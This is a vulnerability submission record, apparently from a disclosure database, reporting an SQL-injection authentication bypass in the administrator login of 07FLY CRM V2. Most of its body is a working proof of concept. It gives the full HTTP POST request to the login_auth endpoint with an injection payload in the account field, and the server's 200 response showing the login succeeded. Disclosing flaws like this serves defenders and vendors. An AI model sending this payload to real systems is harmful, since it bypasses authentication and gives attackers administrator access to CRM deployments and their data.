| Title | A SQL Injection vulnerability exists in 07FLY CRM V2 via a POST request to the admin login page |
|---|
| Description | Description
07FLY CRM was found vulnerable to authentication bypass via SQL injection when logging into the administrator login page. The attack can be initiated remotely.
07FLY CRM 's official website: https://gitee.com/07fly/FLY-CRM
Proof of Concept
Request：
POST /index.php/sysmanage/Login/login_auth/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Referer: http://www.fly.net/
Content-Length: 79
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36
Host: www.fly.net
Connection: Keep-alive
account=-1'%20OR%203*2*1=6%20AND%20000189=000189%20or%20'QMZIxlBw'='&password=1
HTTP/1.1 200 OK
Server: nginx/1.15.11
Date: Sat, 09 Sep 2023 12:14:46 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
X-Powered-By: PHP/5.4.45
Set-Cookie: PHPSESSID=nj2a14ltn5cfgsomfr4iq6ss83; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 126
{"statusCode":"200","message":"\/index.php\/sysmanage\/Index\/","navTabId":"","rel":"1","callbackType":"","forwardUrl":""}
|
|---|
| Source | ⚠️ https://github.com/chosir/exp |
|---|
| User | alice2014 (UID 54262) |
|---|
| Submission | 09/09/2023 16:11 (3 years ago) |
|---|
| Moderation | 09/16/2023 09:17 (7 days later) |
|---|
| Status | Duplicate |
|---|
| VulDB entry | 239861 [07FLY CRM V2 Administrator Login Page login_auth account sql injection] |
|---|
| Points | 0 |
|---|